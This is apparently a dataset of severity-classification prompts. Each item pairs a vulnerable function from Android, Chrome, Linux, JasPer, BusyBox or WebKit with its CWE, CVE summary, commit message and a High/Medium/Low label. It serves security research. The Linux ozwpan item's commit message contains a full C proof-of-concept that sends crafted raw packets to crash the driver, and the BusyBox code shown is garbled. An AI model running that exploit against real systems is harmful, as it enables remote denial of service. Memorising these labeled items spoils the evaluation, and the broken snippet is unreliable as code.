Code: long long Chapters::Atom::GetTime( const Chapters* pChapters, long long timecode) { if (pChapters == NULL) return -1; Segment* const pSegment = pChapters->m_pSegment; if (pSegment == NULL) // weird return -1; const SegmentInfo* const pInfo = pSegment->GetInfo(); if (pInfo == NULL) return -1; const long long timecode_scale = pInfo->GetTimeCodeScale(); if (timecode_scale < 1) // weird return -1; if (timecode < 0) return -1; const long long result = timecode_scale * timecode; return result; } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,361
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void WebUIExtension::Send(gin::Arguments* args) { blink::WebLocalFrame* frame; RenderFrame* render_frame; if (!ShouldRespondToRequest(&frame, &render_frame)) return; std::string message; if (!args->GetNext(&message)) { args->ThrowError(); return; } if (base::EndsWith(message, "RequiringGesture", base::CompareCase::SENSITIVE) && !blink::WebUserGestureIndicator::IsProcessingUserGesture(frame)) { NOTREACHED(); return; } std::unique_ptr<base::ListValue> content; if (args->PeekNext().IsEmpty() || args->PeekNext()->IsUndefined()) { content.reset(new base::ListValue()); } else { v8::Local<v8::Object> obj; if (!args->GetNext(&obj)) { args->ThrowError(); return; } content = base::ListValue::From(V8ValueConverter::Create()->FromV8Value( obj, frame->MainWorldScriptContext())); DCHECK(content); } render_frame->Send(new FrameHostMsg_WebUISend(render_frame->GetRoutingID(), frame->GetDocument().Url(), message, *content)); } Vulnerability Type: CWE ID: CWE-416 Summary: Use after free in WebUI in Google Chrome prior to 64.0.3282.119 allowed a remote attacker to potentially exploit heap corruption via a crafted Chrome Extension. Commit Message: Validate frame after conversion in chrome.send BUG=797511 TEST=Manually, see https://crbug.com/797511#c1 Change-Id: Ib1a99db4d7648fb1325eb6d7af4ef111d6dda4cb Reviewed-on: https://chromium-review.googlesource.com/844076 Commit-Queue: Rob Wu <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Cr-Commit-Position: refs/heads/master@{#526197}
Medium
172,695
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) { struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1); struct oz_usb_ctx *usb_ctx; spin_lock_bh(&pd->app_lock[OZ_APPID_USB]); usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB]; if (usb_ctx) oz_usb_get(usb_ctx); spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]); if (usb_ctx == NULL) return; /* Context has gone so nothing to do. */ if (usb_ctx->stopped) goto done; /* If sequence number is non-zero then check it is not a duplicate. * Zero sequence numbers are always accepted. */ if (usb_hdr->elt_seq_num != 0) { if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0) /* Reject duplicate element. */ goto done; } usb_ctx->rx_seq_num = usb_hdr->elt_seq_num; switch (usb_hdr->type) { case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; int data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1; u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, data_len, offs, total_size); } break; case OZ_SET_CONFIG_RSP: { struct oz_set_config_rsp *body = (struct oz_set_config_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_SET_INTERFACE_RSP: { struct oz_set_interface_rsp *body = (struct oz_set_interface_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_VENDOR_CLASS_RSP: { struct oz_vendor_class_rsp *body = (struct oz_vendor_class_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, elt->length- sizeof(struct oz_vendor_class_rsp)+1); } break; case OZ_USB_ENDPOINT_DATA: oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length); break; } done: oz_usb_put(usb_ctx); } Vulnerability Type: DoS Exec Code Overflow CWE ID: CWE-119 Summary: drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions. Commit Message: ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
High
166,618
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int jas_iccgetuint64(jas_stream_t *in, jas_iccuint64_t *val) { ulonglong tmp; if (jas_iccgetuint(in, 8, &tmp)) return -1; *val = tmp; return 0; } Vulnerability Type: DoS Overflow CWE ID: CWE-190 Summary: Integer overflow in jas_image.c in JasPer before 1.900.25 allows remote attackers to cause a denial of service (application crash) via a crafted file. Commit Message: The generation of the configuration file jas_config.h has been completely reworked in order to avoid pollution of the global namespace. Some problematic types like uchar, ulong, and friends have been replaced with names with a jas_ prefix. An option max_samples has been added to the BMP and JPEG decoders to restrict the maximum size of image that they can decode. This change was made as a (possibly temporary) fix to address security concerns. A max_samples command-line option has also been added to imginfo. Whether an image component (for jas_image_t) is stored in memory or on disk is now based on the component size (rather than the image size). Some debug log message were added. Some new integer overflow checks were added. Some new safe integer add/multiply functions were added. More pre-C99 cruft was removed. JasPer has numerous "hacks" to handle pre-C99 compilers. JasPer now assumes C99 support. So, this pre-C99 cruft is unnecessary and can be removed. The regression jasper-doublefree-mem_close.jpg has been re-enabled. Theoretically, it should work more predictably now.
Medium
168,687
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int em_jmp_far(struct x86_emulate_ctxt *ctxt) { int rc; unsigned short sel, old_sel; struct desc_struct old_desc, new_desc; const struct x86_emulate_ops *ops = ctxt->ops; u8 cpl = ctxt->ops->cpl(ctxt); /* Assignment of RIP may only fail in 64-bit mode */ if (ctxt->mode == X86EMUL_MODE_PROT64) ops->get_segment(ctxt, &old_sel, &old_desc, NULL, VCPU_SREG_CS); memcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2); rc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl, X86_TRANSFER_CALL_JMP, &new_desc); if (rc != X86EMUL_CONTINUE) return rc; rc = assign_eip_far(ctxt, ctxt->src.val, &new_desc); if (rc != X86EMUL_CONTINUE) { WARN_ON(ctxt->mode != X86EMUL_MODE_PROT64); /* assigning eip failed; restore the old cs */ ops->set_segment(ctxt, old_sel, &old_desc, 0, VCPU_SREG_CS); return rc; } return rc; } Vulnerability Type: +Info CWE ID: CWE-200 Summary: arch/x86/kvm/emulate.c in the Linux kernel before 4.8.12 does not properly initialize Code Segment (CS) in certain error cases, which allows local users to obtain sensitive information from kernel stack memory via a crafted application. Commit Message: KVM: x86: drop error recovery in em_jmp_far and em_ret_far em_jmp_far and em_ret_far assumed that setting IP can only fail in 64 bit mode, but syzkaller proved otherwise (and SDM agrees). Code segment was restored upon failure, but it was left uninitialized outside of long mode, which could lead to a leak of host kernel stack. We could have fixed that by always saving and restoring the CS, but we take a simpler approach and just break any guest that manages to fail as the error recovery is error-prone and modern CPUs don't need emulator for this. Found by syzkaller: WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480 Kernel panic - not syncing: panic_on_warn set ... CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 [...] Call Trace: [...] __dump_stack lib/dump_stack.c:15 [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [...] panic+0x1b7/0x3a3 kernel/panic.c:179 [...] __warn+0x1c4/0x1e0 kernel/panic.c:542 [...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217 [...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227 [...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294 [...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545 [...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116 [...] complete_emulated_io arch/x86/kvm/x86.c:6870 [...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934 [...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978 [...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557 [...] vfs_ioctl fs/ioctl.c:43 [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679 [...] SYSC_ioctl fs/ioctl.c:694 [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685 [...] entry_SYSCALL_64_fastpath+0x1f/0xc2 Reported-by: Dmitry Vyukov <[email protected]> Cc: [email protected] Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps") Signed-off-by: Radim Krčmář <[email protected]>
Low
166,848
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int get_next_block(bunzip_data *bd) { struct group_data *hufGroup; int dbufCount, dbufSize, groupCount, *base, *limit, selector, i, j, runPos, symCount, symTotal, nSelectors, byteCount[256]; int runCnt = runCnt; /* for compiler */ uint8_t uc, symToByte[256], mtfSymbol[256], *selectors; uint32_t *dbuf; unsigned origPtr, t; dbuf = bd->dbuf; dbufSize = bd->dbufSize; selectors = bd->selectors; /* In bbox, we are ok with aborting through setjmp which is set up in start_bunzip */ #if 0 /* Reset longjmp I/O error handling */ i = setjmp(bd->jmpbuf); if (i) return i; #endif /* Read in header signature and CRC, then validate signature. (last block signature means CRC is for whole file, return now) */ i = get_bits(bd, 24); j = get_bits(bd, 24); bd->headerCRC = get_bits(bd, 32); if ((i == 0x177245) && (j == 0x385090)) return RETVAL_LAST_BLOCK; if ((i != 0x314159) || (j != 0x265359)) return RETVAL_NOT_BZIP_DATA; /* We can add support for blockRandomised if anybody complains. There was some code for this in busybox 1.0.0-pre3, but nobody ever noticed that it didn't actually work. */ if (get_bits(bd, 1)) return RETVAL_OBSOLETE_INPUT; origPtr = get_bits(bd, 24); if ((int)origPtr > dbufSize) return RETVAL_DATA_ERROR; /* mapping table: if some byte values are never used (encoding things like ascii text), the compression code removes the gaps to have fewer symbols to deal with, and writes a sparse bitfield indicating which values were present. We make a translation table to convert the symbols back to the corresponding bytes. */ symTotal = 0; i = 0; t = get_bits(bd, 16); do { if (t & (1 << 15)) { unsigned inner_map = get_bits(bd, 16); do { if (inner_map & (1 << 15)) symToByte[symTotal++] = i; inner_map <<= 1; i++; } while (i & 15); i -= 16; } t <<= 1; i += 16; } while (i < 256); /* How many different Huffman coding groups does this block use? */ groupCount = get_bits(bd, 3); if (groupCount < 2 || groupCount > MAX_GROUPS) return RETVAL_DATA_ERROR; /* nSelectors: Every GROUP_SIZE many symbols we select a new Huffman coding group. Read in the group selector list, which is stored as MTF encoded bit runs. (MTF=Move To Front, as each value is used it's moved to the start of the list.) */ for (i = 0; i < groupCount; i++) mtfSymbol[i] = i; nSelectors = get_bits(bd, 15); if (!nSelectors) return RETVAL_DATA_ERROR; for (i = 0; i < nSelectors; i++) { uint8_t tmp_byte; /* Get next value */ int n = 0; while (get_bits(bd, 1)) { if (n >= groupCount) return RETVAL_DATA_ERROR; n++; } /* Decode MTF to get the next selector */ tmp_byte = mtfSymbol[n]; while (--n >= 0) mtfSymbol[n + 1] = mtfSymbol[n]; mtfSymbol[0] = selectors[i] = tmp_byte; } /* Read the Huffman coding tables for each group, which code for symTotal literal symbols, plus two run symbols (RUNA, RUNB) */ symCount = symTotal + 2; for (j = 0; j < groupCount; j++) { uint8_t length[MAX_SYMBOLS]; /* 8 bits is ALMOST enough for temp[], see below */ unsigned temp[MAX_HUFCODE_BITS+1]; int minLen, maxLen, pp, len_m1; /* Read Huffman code lengths for each symbol. They're stored in a way similar to mtf; record a starting value for the first symbol, and an offset from the previous value for every symbol after that. (Subtracting 1 before the loop and then adding it back at the end is an optimization that makes the test inside the loop simpler: symbol length 0 becomes negative, so an unsigned inequality catches it.) */ len_m1 = get_bits(bd, 5) - 1; for (i = 0; i < symCount; i++) { for (;;) { int two_bits; if ((unsigned)len_m1 > (MAX_HUFCODE_BITS-1)) return RETVAL_DATA_ERROR; /* If first bit is 0, stop. Else second bit indicates whether to increment or decrement the value. Optimization: grab 2 bits and unget the second if the first was 0. */ two_bits = get_bits(bd, 2); if (two_bits < 2) { bd->inbufBitCount++; break; } /* Add one if second bit 1, else subtract 1. Avoids if/else */ len_m1 += (((two_bits+1) & 2) - 1); } /* Correct for the initial -1, to get the final symbol length */ length[i] = len_m1 + 1; } /* Find largest and smallest lengths in this group */ minLen = maxLen = length[0]; for (i = 1; i < symCount; i++) { if (length[i] > maxLen) maxLen = length[i]; else if (length[i] < minLen) minLen = length[i]; } /* Calculate permute[], base[], and limit[] tables from length[]. * * permute[] is the lookup table for converting Huffman coded symbols * into decoded symbols. base[] is the amount to subtract from the * value of a Huffman symbol of a given length when using permute[]. * * limit[] indicates the largest numerical value a symbol with a given * number of bits can have. This is how the Huffman codes can vary in * length: each code with a value>limit[length] needs another bit. */ hufGroup = bd->groups + j; hufGroup->minLen = minLen; hufGroup->maxLen = maxLen; /* Note that minLen can't be smaller than 1, so we adjust the base and limit array pointers so we're not always wasting the first entry. We do this again when using them (during symbol decoding). */ base = hufGroup->base - 1; limit = hufGroup->limit - 1; /* Calculate permute[]. Concurrently, initialize temp[] and limit[]. */ pp = 0; for (i = minLen; i <= maxLen; i++) { int k; temp[i] = limit[i] = 0; for (k = 0; k < symCount; k++) if (length[k] == i) hufGroup->permute[pp++] = k; } /* Count symbols coded for at each bit length */ /* NB: in pathological cases, temp[8] can end ip being 256. * That's why uint8_t is too small for temp[]. */ for (i = 0; i < symCount; i++) temp[length[i]]++; /* Calculate limit[] (the largest symbol-coding value at each bit * length, which is (previous limit<<1)+symbols at this level), and * base[] (number of symbols to ignore at each bit length, which is * limit minus the cumulative count of symbols coded for already). */ pp = t = 0; for (i = minLen; i < maxLen;) { unsigned temp_i = temp[i]; pp += temp_i; /* We read the largest possible symbol size and then unget bits after determining how many we need, and those extra bits could be set to anything. (They're noise from future symbols.) At each level we're really only interested in the first few bits, so here we set all the trailing to-be-ignored bits to 1 so they don't affect the value>limit[length] comparison. */ limit[i] = (pp << (maxLen - i)) - 1; pp <<= 1; t += temp_i; base[++i] = pp - t; } limit[maxLen] = pp + temp[maxLen] - 1; limit[maxLen+1] = INT_MAX; /* Sentinel value for reading next sym. */ base[minLen] = 0; } /* We've finished reading and digesting the block header. Now read this block's Huffman coded symbols from the file and undo the Huffman coding and run length encoding, saving the result into dbuf[dbufCount++] = uc */ /* Initialize symbol occurrence counters and symbol Move To Front table */ /*memset(byteCount, 0, sizeof(byteCount)); - smaller, but slower */ for (i = 0; i < 256; i++) { byteCount[i] = 0; mtfSymbol[i] = (uint8_t)i; } /* Loop through compressed symbols. */ runPos = dbufCount = selector = 0; for (;;) { int nextSym; /* Fetch next Huffman coding group from list. */ symCount = GROUP_SIZE - 1; if (selector >= nSelectors) return RETVAL_DATA_ERROR; hufGroup = bd->groups + selectors[selector++]; base = hufGroup->base - 1; limit = hufGroup->limit - 1; continue_this_group: /* Read next Huffman-coded symbol. */ /* Note: It is far cheaper to read maxLen bits and back up than it is to read minLen bits and then add additional bit at a time, testing as we go. Because there is a trailing last block (with file CRC), there is no danger of the overread causing an unexpected EOF for a valid compressed file. */ if (1) { /* As a further optimization, we do the read inline (falling back to a call to get_bits if the buffer runs dry). */ int new_cnt; while ((new_cnt = bd->inbufBitCount - hufGroup->maxLen) < 0) { /* bd->inbufBitCount < hufGroup->maxLen */ if (bd->inbufPos == bd->inbufCount) { nextSym = get_bits(bd, hufGroup->maxLen); goto got_huff_bits; } bd->inbufBits = (bd->inbufBits << 8) | bd->inbuf[bd->inbufPos++]; bd->inbufBitCount += 8; }; bd->inbufBitCount = new_cnt; /* "bd->inbufBitCount -= hufGroup->maxLen;" */ nextSym = (bd->inbufBits >> new_cnt) & ((1 << hufGroup->maxLen) - 1); got_huff_bits: ; } else { /* unoptimized equivalent */ nextSym = get_bits(bd, hufGroup->maxLen); } /* Figure how many bits are in next symbol and unget extras */ i = hufGroup->minLen; while (nextSym > limit[i]) ++i; j = hufGroup->maxLen - i; if (j < 0) return RETVAL_DATA_ERROR; bd->inbufBitCount += j; /* Huffman decode value to get nextSym (with bounds checking) */ nextSym = (nextSym >> j) - base[i]; if ((unsigned)nextSym >= MAX_SYMBOLS) return RETVAL_DATA_ERROR; nextSym = hufGroup->permute[nextSym]; /* We have now decoded the symbol, which indicates either a new literal byte, or a repeated run of the most recent literal byte. First, check if nextSym indicates a repeated run, and if so loop collecting how many times to repeat the last literal. */ if ((unsigned)nextSym <= SYMBOL_RUNB) { /* RUNA or RUNB */ /* If this is the start of a new run, zero out counter */ if (runPos == 0) { runPos = 1; runCnt = 0; } /* Neat trick that saves 1 symbol: instead of or-ing 0 or 1 at each bit position, add 1 or 2 instead. For example, 1011 is 1<<0 + 1<<1 + 2<<2. 1010 is 2<<0 + 2<<1 + 1<<2. You can make any bit pattern that way using 1 less symbol than the basic or 0/1 method (except all bits 0, which would use no symbols, but a run of length 0 doesn't mean anything in this context). Thus space is saved. */ runCnt += (runPos << nextSym); /* +runPos if RUNA; +2*runPos if RUNB */ if (runPos < dbufSize) runPos <<= 1; ////The 32-bit overflow of runCnt wasn't yet seen, but probably can happen. ////This would be the fix (catches too large count way before it can overflow): //// if (runCnt > bd->dbufSize) { //// dbg("runCnt:%u > dbufSize:%u RETVAL_DATA_ERROR", //// runCnt, bd->dbufSize); //// return RETVAL_DATA_ERROR; //// } goto end_of_huffman_loop; } dbg("dbufCount:%d+runCnt:%d %d > dbufSize:%d RETVAL_DATA_ERROR", dbufCount, runCnt, dbufCount + runCnt, dbufSize); return RETVAL_DATA_ERROR; literal used is the one at the head of the mtfSymbol array.) */ if (runPos != 0) { uint8_t tmp_byte; if (dbufCount + runCnt > dbufSize) { dbg("dbufCount:%d+runCnt:%d %d > dbufSize:%d RETVAL_DATA_ERROR", dbufCount, runCnt, dbufCount + runCnt, dbufSize); return RETVAL_DATA_ERROR; } tmp_byte = symToByte[mtfSymbol[0]]; byteCount[tmp_byte] += runCnt; while (--runCnt >= 0) dbuf[dbufCount++] = (uint32_t)tmp_byte; runPos = 0; } as part of a run above. Therefore 1 unused mtf position minus 2 non-literal nextSym values equals -1.) */ if (dbufCount >= dbufSize) return RETVAL_DATA_ERROR; i = nextSym - 1; uc = mtfSymbol[i]; /* Adjust the MTF array. Since we typically expect to move only a first symbol in the mtf array, position 0, would have been handled as part of a run above. Therefore 1 unused mtf position minus 2 non-literal nextSym values equals -1.) */ if (dbufCount >= dbufSize) return RETVAL_DATA_ERROR; i = nextSym - 1; uc = mtfSymbol[i]; uc = symToByte[uc]; /* We have our literal byte. Save it into dbuf. */ byteCount[uc]++; dbuf[dbufCount++] = (uint32_t)uc; /* Skip group initialization if we're not done with this group. Done * this way to avoid compiler warning. */ end_of_huffman_loop: if (--symCount >= 0) goto continue_this_group; } /* At this point, we've read all the Huffman-coded symbols (and repeated runs) for this block from the input stream, and decoded them into the intermediate buffer. There are dbufCount many decoded bytes in dbuf[]. Now undo the Burrows-Wheeler transform on dbuf. See http://dogma.net/markn/articles/bwt/bwt.htm */ /* Turn byteCount into cumulative occurrence counts of 0 to n-1. */ j = 0; for (i = 0; i < 256; i++) { int tmp_count = j + byteCount[i]; byteCount[i] = j; j = tmp_count; } /* Figure out what order dbuf would be in if we sorted it. */ for (i = 0; i < dbufCount; i++) { uint8_t tmp_byte = (uint8_t)dbuf[i]; int tmp_count = byteCount[tmp_byte]; dbuf[tmp_count] |= (i << 8); byteCount[tmp_byte] = tmp_count + 1; } /* Decode first byte by hand to initialize "previous" byte. Note that it doesn't get output, and if the first three characters are identical it doesn't qualify as a run (hence writeRunCountdown=5). */ if (dbufCount) { uint32_t tmp; if ((int)origPtr >= dbufCount) return RETVAL_DATA_ERROR; tmp = dbuf[origPtr]; bd->writeCurrent = (uint8_t)tmp; bd->writePos = (tmp >> 8); bd->writeRunCountdown = 5; } bd->writeCount = dbufCount; return RETVAL_OK; } Vulnerability Type: Overflow CWE ID: CWE-190 Summary: The get_next_block function in archival/libarchive/decompress_bunzip2.c in BusyBox 1.27.2 has an Integer Overflow that may lead to a write access violation. Commit Message:
Medium
164,650
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: PassRefPtr<RTCSessionDescription> RTCPeerConnection::remoteDescription(ExceptionCode& ec) { if (m_readyState == ReadyStateClosing || m_readyState == ReadyStateClosed) { ec = INVALID_STATE_ERR; return 0; } RefPtr<RTCSessionDescriptionDescriptor> descriptor = m_peerHandler->remoteDescription(); if (!descriptor) return 0; RefPtr<RTCSessionDescription> desc = RTCSessionDescription::create(descriptor.release()); return desc.release(); } Vulnerability Type: DoS CWE ID: CWE-20 Summary: Google V8, as used in Google Chrome before 14.0.835.163, does not properly perform object sealing, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that leverage *type confusion.* Commit Message: Unreviewed, rolling out r127612, r127660, and r127664. http://trac.webkit.org/changeset/127612 http://trac.webkit.org/changeset/127660 http://trac.webkit.org/changeset/127664 https://bugs.webkit.org/show_bug.cgi?id=95920 Source/Platform: * Platform.gypi: * chromium/public/WebRTCPeerConnectionHandler.h: (WebKit): (WebRTCPeerConnectionHandler): * chromium/public/WebRTCVoidRequest.h: Removed. Source/WebCore: * CMakeLists.txt: * GNUmakefile.list.am: * Modules/mediastream/RTCErrorCallback.h: (WebCore): (RTCErrorCallback): * Modules/mediastream/RTCErrorCallback.idl: * Modules/mediastream/RTCPeerConnection.cpp: (WebCore::RTCPeerConnection::createOffer): * Modules/mediastream/RTCPeerConnection.h: (WebCore): (RTCPeerConnection): * Modules/mediastream/RTCPeerConnection.idl: * Modules/mediastream/RTCSessionDescriptionCallback.h: (WebCore): (RTCSessionDescriptionCallback): * Modules/mediastream/RTCSessionDescriptionCallback.idl: * Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp: (WebCore::RTCSessionDescriptionRequestImpl::create): (WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl): (WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded): (WebCore::RTCSessionDescriptionRequestImpl::requestFailed): (WebCore::RTCSessionDescriptionRequestImpl::clear): * Modules/mediastream/RTCSessionDescriptionRequestImpl.h: (RTCSessionDescriptionRequestImpl): * Modules/mediastream/RTCVoidRequestImpl.cpp: Removed. * Modules/mediastream/RTCVoidRequestImpl.h: Removed. * WebCore.gypi: * platform/chromium/support/WebRTCVoidRequest.cpp: Removed. * platform/mediastream/RTCPeerConnectionHandler.cpp: (RTCPeerConnectionHandlerDummy): (WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy): * platform/mediastream/RTCPeerConnectionHandler.h: (WebCore): (WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler): (RTCPeerConnectionHandler): (WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler): * platform/mediastream/RTCVoidRequest.h: Removed. * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp: * 